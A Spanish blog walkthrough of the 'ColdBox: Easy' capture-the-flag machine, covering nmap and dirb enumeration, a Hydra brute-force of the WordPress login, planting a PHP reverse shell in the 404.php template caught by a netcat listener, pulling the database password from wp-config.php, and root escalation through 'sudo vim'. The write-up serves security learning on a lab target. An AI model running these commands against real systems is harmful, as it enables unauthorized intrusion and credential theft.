Entrada

ColdBox: Easy

Empezamos escaneando la direccion ip de la máquina con nmap, pero antes de nada en la web Station X tenemos una buena herramienta para personalizar el tipo de escaneo que deseamos realizar.

Usare un comando para que detecte todos los puertos abiertos, detecte el sistema operativo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -p- -O -A -T4 -vvv <ip>

PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
4512/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDngxJmUFBAeIIIjZkorYEp5ImIX0SOOFtRVgperpxbcxDAosq1rJ6DhWxJyyGo3M+Fx2koAgzkE2d4f2DTGB8sY1NJP1sYOeNphh8c55Psw3Rq4xytY5u1abq6su2a1Dp15zE7kGuROaq2qFot8iGYBVLMMPFB/BRmwBk07zrn8nKPa3yotvuJpERZVKKiSQrLBW87nkPhPzNv5hdRUUFvImigYb4hXTyUveipQ/oji5rIxdHMNKiWwrVO864RekaVPdwnSIfEtVevj1XU/RmG4miIbsy2A7jRU034J8NEI7akDB+lZmdnOIFkfX+qcHKxsoahesXziWw9uBospyhB
|   256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKNmVtaTpgUhzxZL3VKgWKq6TDNebAFSbQNy5QxllUb4Gg6URGSWnBOuIzfMAoJPWzOhbRHAHfGCqaAryf81+Z8=
|   256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE/fNq/6XnAxR13/jPT28jLWFlqxd+RKSbEgujEaCjEc
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Obtengo como resultado que en el puerto 80 corre un servidor Wordpress desactualizado y en el puerto 4512 se podria acceder mediante SSH. Lo mas facil en este caso es centrar el ataque en Wordpres.

Usando dirb http://<ip> me listará todos los directorios disponibles. Como resultado obtengo el directorio /hidden/ y al acceder a dicho directorio obtengo una página web. Compruebo su código y obtengo un dato interesante:

1
<h2>[EDITADO], you changed Hugo's password, when you can send it to him so he can continue uploading his articles. Philip</h2>

Compruebo que el usuario es válido, para hacerlo lo hago directamente en el login, si el usuario no existe, el propio login de Wordpress lo notifica:

login

Usaré Hydra para obtener acceso al blog.

1
hydra -l [USUARIO] -P /usr/share/wordlists/rockyou.txt 10.10.117.11 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.117.11%2Fwp-admin%2F&testcookie=1:S=Location" 

Y obtenemos el password para dicho usuario:

1
2
3
[80][http-post-form] host: 10.10.117.11   login: [USUARIO]   password: [PASSWORD]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-27 18:02:36

Ahora que tengo acceso al Wordpress, subo una shell para poder explotar el servidor. En mi caso, editaré la página 404.php y aqui incluiré una shell en php. Existe un plugin para navegador que me facilita el trabajo, se llama HackerTools.

template wordpress

Ahora para poder acceder al shell, en la terminal escribo el comand para conectarme por netcat y, para que esto funcione, en el navegador debo conseguir un error 404 (por ejemplo, con una url inexistente)

1
2
3
4
5
6
7
8
9
10
11
~ ❯ nc -lvnp 4455       
listening on [any] 4455 ...
connect to [10.9.206.239] from (UNKNOWN) [10.10.117.11] 50862
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 18:25:08 up  1:18,  0 users,  load average: 0.00, 0.00, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

Ya estoy dentro, asi que ahora mejoro la terminal para poder trabajar con ella. El siguiente paso es ejecutar un comando que me permita localizar los archivos .txt

1
www-data@ColddBox-Easy:/$ find / -type f -name '*.txt' 2>/dev/null

Tras localizar las posibles flags, para leer el contenido necesito ingresar como superusuario.

Para ello, primero obtengo el password que se encuentra alojado en la base de datos y la utilizo para logearme con el usuario y así obtener el flag oculto en el archivo user.txt.

1
2
3
4
5
6
7
8
9
10
www-data@ColddBox-Easy:/$ cd var/www/html/
www-data@ColddBox-Easy:/var/www/html$ cat wp-config.php | grep "DB_PASSWORD"
define('DB_PASSWORD', '[*]');
www-data@ColddBox-Easy:/var/www/html$ su c0ldd
Password: 
c0ldd@ColddBox-Easy:/var/www/html$ cd
c0ldd@ColddBox-Easy:~$ ls
user.txt
c0ldd@ColddBox-Easy:~$ cat user.txt 

Ahora, necesito ser usuario root. Ejecuto el comando sudo -l para obtener los binarios a los que poder atacar.

1
2
3
4
5
6
7
8
9
10
11
c0ldd@ColddBox-Easy:/$ sudo -l
[sudo] password for c0ldd: 
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
    (root) /usr/bin/vim
    (root) /bin/chmod
    (root) /usr/bin/ftp
c0ldd@ColddBox-Easy:/$ sudo vim

Ejecuto Vim como superusuario y dentro escribo

1
:!bin/bash

y obtengo el ultimo flag:

1
root@ColddBox-Easy:/# cat /root/root.txt 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.